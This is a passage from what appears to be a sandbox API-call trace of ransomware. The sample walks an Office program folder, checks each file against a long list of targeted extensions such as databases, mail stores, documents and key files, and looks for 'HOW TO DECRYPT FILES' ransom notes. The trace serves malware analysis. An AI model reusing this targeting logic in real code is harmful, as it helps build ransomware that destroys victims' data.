Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.vmx") returned 0 [0065.148] lstrlenA (lpString="*.vmx") returned 5 [0065.148] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.vmdk") returned 0 [0065.148] lstrlenA (lpString="*.vmdk") returned 6 [0065.148] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.vdi") returned 0 [0065.148] lstrlenA (lpString="*.vdi") returned 5 [0065.148] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.lay6") returned 0 [0065.148] lstrlenA (lpString="*.lay6") returned 6 [0065.148] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.mpeg") returned 0 [0065.148] lstrlenA (lpString="*.mpeg") returned 6 [0065.148] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.djvu") returned 0 [0065.148] lstrlenA (lpString="*.djvu") returned 6 [0065.148] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.tiff") returned 0 [0065.148] lstrlenA (lpString="*.tiff") returned 6 [0065.148] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.backup") returned 0 [0065.148] lstrlenA (lpString="*.backup") returned 8 [0065.148] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.pdf") returned 0 [0065.148] lstrlenA (lpString="*.pdf") returned 5 [0065.149] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.cert") returned 0 [0065.149] lstrlenA (lpString="*.cert") returned 6 [0065.149] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.docm") returned 0 [0065.149] lstrlenA (lpString="*.docm") returned 6 [0065.149] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.xlsm") returned 0 [0065.149] lstrlenA (lpString="*.xlsm") returned 6 [0065.149] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.dwg") returned 0 [0065.149] lstrlenA (lpString="*.dwg") returned 5 [0065.149] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.nd") returned 0 [0065.149] lstrlenA (lpString="*.nd") returned 4 [0065.149] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.tlg") returned 0 [0065.149] lstrlenA (lpString="*.tlg") returned 5 [0065.149] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.lgb") returned 0 [0065.149] lstrlenA (lpString="*.lgb") returned 5 [0065.149] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.mov") returned 0 [0065.149] lstrlenA (lpString="*.mov") returned 5 [0065.149] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.xdw") returned 0 [0065.149] lstrlenA (lpString="*.xdw") returned 5 [0065.149] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.ods") returned 0 [0065.149] lstrlenA (lpString="*.ods") returned 5 [0065.149] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.wav") returned 0 [0065.149] lstrlenA (lpString="*.wav") returned 5 [0065.149] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.mp3") returned 0 [0065.149] lstrlenA (lpString="*.mp3") returned 5 [0065.149] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.aiff") returned 0 [0065.150] lstrlenA (lpString="*.aiff") returned 6 [0065.150] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.flac") returned 0 [0065.150] lstrlenA (lpString="*.flac") returned 6 [0065.150] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.m4a") returned 0 [0065.150] lstrlenA (lpString="*.m4a") returned 5 [0065.150] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif", pszSpec="*.csv") returned 0 [0065.150] lstrlenA (lpString="*.csv") returned 5 [0065.150] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a76b250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x275e, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="PublicFunctions.js", cAlternateFileName="PUBLIC~1.JS")) returned 1 [0065.150] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.150] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PublicFunctions.js") returned -1 [0065.150] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PublicFunctions.js") returned -1 [0065.150] lstrcmpiA (lpString1="", lpString2="PublicFunctions.js") returned -1 [0065.150] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\macroprogress.gif") returned="macroprogress.gif" [0065.150] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.150] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.150] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.150] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.150] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="PublicFunctions.js" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js" [0065.151] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.ems") returned 0 [0065.151] lstrlenA (lpString="*.ems") returned 5 [0065.151] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.db") returned 0 [0065.151] lstrlenA (lpString="*.db") returned 4 [0065.151] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.dbf") returned 0 [0065.151] lstrlenA (lpString="*.dbf") returned 5 [0065.151] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.myox") returned 0 [0065.151] lstrlenA (lpString="*.myox") returned 6 [0065.151] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.myo") returned 0 [0065.151] lstrlenA (lpString="*.myo") returned 5 [0065.151] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.qbw") returned 0 [0065.151] lstrlenA (lpString="*.qbw") returned 5 [0065.151] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.qbb") returned 0 [0065.151] lstrlenA (lpString="*.qbb") returned 5 [0065.151] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.qbm") returned 0 [0065.151] lstrlenA (lpString="*.qbm") returned 5 [0065.151] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.qbo") returned 0 [0065.151] lstrlenA (lpString="*.qbo") returned 5 [0065.151] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.qbx") returned 0 [0065.151] lstrlenA (lpString="*.qbx") returned 5 [0065.151] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.qba") returned 0 [0065.151] lstrlenA (lpString="*.qba") returned 5 [0065.151] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.qby") returned 0 [0065.152] lstrlenA (lpString="*.qby") returned 5 [0065.152] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.qbj") returned 0 [0065.152] lstrlenA (lpString="*.qbj") returned 5 [0065.152] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.ofx") returned 0 [0065.152] lstrlenA (lpString="*.ofx") returned 5 [0065.152] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.qif") returned 0 [0065.152] lstrlenA (lpString="*.qif") returned 5 [0065.152] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.mye") returned 0 [0065.152] lstrlenA (lpString="*.mye") returned 5 [0065.152] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.mbox") returned 0 [0065.152] lstrlenA (lpString="*.mbox") returned 6 [0065.152] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.eml") returned 0 [0065.152] lstrlenA (lpString="*.eml") returned 5 [0065.152] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.pst") returned 0 [0065.152] lstrlenA (lpString="*.pst") returned 5 [0065.152] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.ost") returned 0 [0065.152] lstrlenA (lpString="*.ost") returned 5 [0065.152] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.idx") returned 0 [0065.152] lstrlenA (lpString="*.idx") returned 5 [0065.152] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.dbx") returned 0 [0065.152] lstrlenA (lpString="*.dbx") returned 5 [0065.152] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.sql") returned 0 [0065.152] lstrlenA (lpString="*.sql") returned 5 [0065.152] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.mdb") returned 0 [0065.152] lstrlenA (lpString="*.mdb") returned 5 [0065.152] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.fdb") returned 0 [0065.152] lstrlenA (lpString="*.fdb") returned 5 [0065.152] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.wab") returned 0 [0065.153] lstrlenA (lpString="*.wab") returned 5 [0065.153] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.dat") returned 0 [0065.153] lstrlenA (lpString="*.dat") returned 5 [0065.153] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.txt") returned 0 [0065.153] lstrlenA (lpString="*.txt") returned 5 [0065.153] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.jpeg") returned 0 [0065.153] lstrlenA (lpString="*.jpeg") returned 6 [0065.153] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.jpg") returned 0 [0065.153] lstrlenA (lpString="*.jpg") returned 5 [0065.153] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.png") returned 0 [0065.153] lstrlenA (lpString="*.png") returned 5 [0065.153] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.php") returned 0 [0065.153] lstrlenA (lpString="*.php") returned 5 [0065.153] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.cs") returned 0 [0065.153] lstrlenA (lpString="*.cs") returned 4 [0065.153] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.cpp") returned 0 [0065.153] lstrlenA (lpString="*.cpp") returned 5 [0065.153] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.rar") returned 0 [0065.153] lstrlenA (lpString="*.rar") returned 5 [0065.153] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.zip") returned 0 [0065.153] lstrlenA (lpString="*.zip") returned 5 [0065.153] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.html") returned 0 [0065.153] lstrlenA (lpString="*.html") returned 6 [0065.153] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.htm") returned 0 [0065.153] lstrlenA (lpString="*.htm") returned 5 [0065.153] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.xlsx") returned 0 [0065.153] lstrlenA (lpString="*.xlsx") returned 6 [0065.153] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.xls") returned 0 [0065.153] lstrlenA (lpString="*.xls") returned 5 [0065.153] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.mp4") returned 0 [0065.154] lstrlenA (lpString="*.mp4") returned 5 [0065.154] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.ppt") returned 0 [0065.154] lstrlenA (lpString="*.ppt") returned 5 [0065.154] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.pptx") returned 0 [0065.154] lstrlenA (lpString="*.pptx") returned 6 [0065.154] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.doc") returned 0 [0065.154] lstrlenA (lpString="*.doc") returned 5 [0065.154] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.dot") returned 0 [0065.154] lstrlenA (lpString="*.dot") returned 5 [0065.154] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.docx") returned 0 [0065.154] lstrlenA (lpString="*.docx") returned 6 [0065.154] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.7z") returned 0 [0065.154] lstrlenA (lpString="*.7z") returned 4 [0065.154] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.tar") returned 0 [0065.154] lstrlenA (lpString="*.tar") returned 5 [0065.154] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.bz2") returned 0 [0065.154] lstrlenA (lpString="*.bz2") returned 5 [0065.154] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.gz") returned 0 [0065.154] lstrlenA (lpString="*.gz") returned 4 [0065.154] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.mkv") returned 0 [0065.154] lstrlenA (lpString="*.mkv") returned 5 [0065.154] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.eml") returned 0 [0065.154] lstrlenA (lpString="*.eml") returned 5 [0065.154] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.msg") returned 0 [0065.154] lstrlenA (lpString="*.msg") returned 5 [0065.154] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.edb") returned 0 [0065.154] lstrlenA (lpString="*.edb") returned 5 [0065.154] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.accdb") returned 0 [0065.155] lstrlenA (lpString="*.accdb") returned 7 [0065.155] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.odb") returned 0 [0065.155] lstrlenA (lpString="*.odb") returned 5 [0065.155] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.java") returned 0 [0065.155] lstrlenA (lpString="*.java") returned 6 [0065.155] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.asm") returned 0 [0065.155] lstrlenA (lpString="*.asm") returned 5 [0065.155] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.pfx") returned 0 [0065.155] lstrlenA (lpString="*.pfx") returned 5 [0065.155] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.pem") returned 0 [0065.155] lstrlenA (lpString="*.pem") returned 5 [0065.155] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.p12") returned 0 [0065.155] lstrlenA (lpString="*.p12") returned 5 [0065.155] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.gpg") returned 0 [0065.155] lstrlenA (lpString="*.gpg") returned 5 [0065.155] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js", pszSpec="*.vsd") returned 0 [0065.155] lstrlenA (lpString="*.vsd") returned 5 [0065.155] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5a8e8010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x350, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="rtf_alignleft.gif", cAlternateFileName="RTF_AL~1.GIF")) returned 1 [0065.155] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.155] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtf_alignleft.gif") returned -1 [0065.155] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtf_alignleft.gif") returned -1 [0065.155] lstrcmpiA (lpString1="", lpString2="rtf_alignleft.gif") returned -1 [0065.155] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\PublicFunctions.js") returned="PublicFunctions.js" [0065.155] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" [0065.156] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\") returned="" [0065.156] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" [0065.156] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms5\\how to decrypt files.txt")) returned 0x20 [0065.156] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\", lpString2="rtf_alignleft.gif" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_alignleft.gif") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_alignleft.gif" [0065.156] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2246f00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x6d227b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb2246f00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x57004f, dwReserved1=0x540020, cFileName="rtf_alignright.gif", cAlternateFileName="RTF_AL~2.GIF")) returned 1 [0065.156] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0065.156] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="rtf_alignright.gif") returned -1 [0065.156] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="rtf_alignright.gif") returned -1 [0065.156] lstrcmpiA (lpString1="", lpString2="rtf_alignright.gif") returned -1 [0065.156] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms5\\rtf_alignleft.gif") returned="rtf_alignleft.gif" [0065.156] lstrcpyA (in: 